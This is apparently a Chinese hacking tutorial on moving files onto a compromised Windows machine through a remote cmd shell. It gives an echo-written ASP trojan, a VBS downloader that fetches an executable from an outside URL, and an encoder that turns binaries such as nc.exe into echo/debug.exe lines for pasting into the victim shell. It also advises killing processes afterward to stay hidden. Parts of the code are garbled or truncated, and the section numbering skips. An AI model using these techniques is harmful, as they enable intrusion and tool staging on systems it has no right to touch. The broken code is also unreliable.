檔案傳輸
對於溢出漏洞獲得的cmd shell,最大的問題就是如何上傳檔案。由於蠕蟲流行,串連ipc$所需要的139或445連接埠被路由封鎖。再加上WinXP系統加強了對ipc$的保護,通過ipc$及預設共用上傳檔案的手段基本無效了。ftp和tftp是兩種可行的方法,介於其已被大家熟知,本文就不介紹了。還有三種大家熟悉的辦法,作為總結我再提一下:
1,用Echo命令寫ASP木馬。
前提當然是目標主機上已經安裝了IIS。
一般的ASP木馬"體積"較大,不適合直接用echo命令寫入檔案,這裡我提供一個小巧的。
直接給出echo版:
@echo ^ >up.asp
注意,只有一行,中間沒有斷行符號符。
產生的up.asp不能用瀏覽器訪問,只能用下面這個指令碼:
with wscript
if .arguments.count>dl.vbs
@echo w.open "get",.arguments(0),0:w.send:if w.status^>200 then .echo "Error:"+w.status:.quit>>dl.vbs
@echo aso.type=1:aso.open:aso.write w.responsebody:aso.savetofile .arguments(1),2:end with >>dl.vbs
舉例——下載ps.exe並儲存到c:\path下:
cscript dl.vbs http://www.sometips.com/soft/ps.exe c:\path\ps.exe
注意,這是在遠程shell中執行的。
4,Echo經過編碼的任何檔案,再用指令碼+debug還原。
前面兩個辦法都不能保證穿過防火牆。而且,除非自己架Web伺服器,一般的Web資源都是以壓縮檔的形式提供。如果目標主機沒有解壓工具,還是沒轍。那麼只有出"殺手鐧"了!
echo命令加重新導向x作符可以寫入ASCII碼小於128的字元,但大於等於128的不行。只有將本地檔案重新"編碼"為可顯示的字元,才能方便地寫入遠程主機。首先能想到的就是base64編碼,即email附件的編碼方式。但vbs不支援位x作,因此編碼和解碼較複雜。更麻煩的是,指令碼以二進位流方式處理檔案的能力很差。(ADODB.Stream可以以流方式寫檔案,但我無法構造出相應的資料類型。位元據流可以用midb函數轉成字串,但反過來不行。我花了兩天時間,還是沒能解決這個問題。如果有誰能用vbs或js寫任意的位元組資料到檔案中,懇請賜教。)
無奈只有請debug.exe出馬了。原理很多人都知道,我不介紹了,直接給出成果——編碼指令碼:
fp=wscript.arguments(0)
fn=right(fp,len(fp)-instrrev(fp,"\"))
with createobject("adodb.stream")
.type=1:.open:.loadfromfile fp:str=.read:sl=lenb(str)
end with
sll=sl mod 65536:slh=sl\65536
with createobject("scripting.filesystemobject").opentextfile(fp&".bat",2,true)
.write "@echo str="""
for i=1 to sl
bt=ascb(midb(str,i,1))
if bt>debug.vbs"+vbcrlf+"@echo +"""
next
.writeline """>>debug.vbs"+vbcrlf+"@echo with wscript.stdout:r=vbcrlf"_
+":for i=1 to len(str) step 48:.write ""e""+hex(256+(i-1)/2)"_
+":for j=i to i+46 step 2:.write "" ""+mid(str,j,2):next:.write r:next>>debug.vbs"
.writeline "@echo .write ""rbx""+r+"""+hex(slh)+"""+r+""rcx""+r+"""+hex(sll)_
+"""+r+""n debug.tmp""+r+""w""+r+""q""+r:end with"_
+">>debug.vbs&&cscript //nologo debug.vbs|debug.exe>nul&&ren debug.tmp """&fn&"""&del debug.vbs"
end with
將其儲存為echo.vbs。假設要上傳nc.exe,那麼在本地命令列輸入命令:
cscript echo.vbs nc.exe
也可以直接把要傳輸的檔案的表徵圖拖放到指令檔的表徵圖上。
稍等一會兒,在目前的目錄下將產生一個nc.exe.bat。用記事本等編輯工具開啟它,可以看到如下內容:
@echo str="4D5A90000300000004000000FFFF0000B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000800000000E1FBA0E00B409CD21B8014CCD21546869732070726F6772616D2063616E6E6F742062652072756E20696E20444F53206D6F64652E0D0D0A2400000000000000"_>>debug.vbs
@echo +"504500004C010400B98EAE340000000000000000E0000F010B010500009800000062000000000000004C00000010000000B0000000004000001000000002000004000000000000000400000000000000003001000004000000000000030000000000100000100000000010000010000000000000100000000000000000000000"_>>debug.vbs
@echo +"002001003C0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000A0210100640100000000000000000000000000000000000000000000000000002E74657874000000"_>>debug.vbs
@echo +"70970000001000000098000000040000000000000000000000000000200000602E726461746100001704000000B0000000060000009C0000000000000000000000000000400000402E646174610000004452000000C00000003E000000A20000000000000000000000000000400000C02E696461746100005C07000000200100"_>>debug.vbs
…………
…………(省略若干行)
…………
@echo +"">>debug.vbs
@echo with wscript.stdout:r=vbcrlf:for i=1 to len(str) step 48:.write "e"+hex(256+(i-1)/2):for j=i to i+46 step 2:.write " "+mid(str,j,2):next:.write r:next>>debug.vbs
@echo .write "rbx"+r+"0"+r+"rcx"+r+"E800"+r+"n debug.tmp"+r+"w"+r+"q"+r:end with>>debug.vbs&&cscript //nologo debug.vbs|debug.exe>nul&&ren debug.tmp "NC.EXE"&del debug.vbs
全選 -》 複製 -》 切換到遠程命令列視窗 -》 粘貼。
如果網速不是很慢的話,整個上傳過程大約需要20秒。
幾點說明:
1,大的檔案傳輸不穩定,可能會使shell死掉。所以檔案越小效果越好。建議原檔案不要超過100KB。
2,在傳輸大檔案前,可以先傳個小的檔案作為"熱身",讓16位虛擬機器ntvdm.exe駐留後台。所有檔案傳完後,為隱蔽起見,應該把ntvdm進程殺掉。
3,某些cmd shell每個命令都需要附加兩個斷行符號,那nc.exe.bat就不能直接用了。
4,單個命令的長度是有限的,所以不能只用一個echo完成全部任務。而且,對於nc提供的cmd shell,稍長一些的命令竟然會使shell自動結束(溢出了?)。你可以修改"i mod 128=0"語句中的128以調整每個echo命令的長度。每次echo的字元為這個數乘以2。
5,解碼過程沒有指令碼參與也是可以的。使用指令碼的目的是減少傳輸的資料量(因為壓縮了資料)。如果有時間,我會寫一個更完善的指令碼,加強資料壓縮能力,增加資料校正功能。
能上傳檔案當然一切都好辦了,但很多x作用Windows內建的工具更方便。在你到處尋找需要的工具時,不要忘了Windows本身。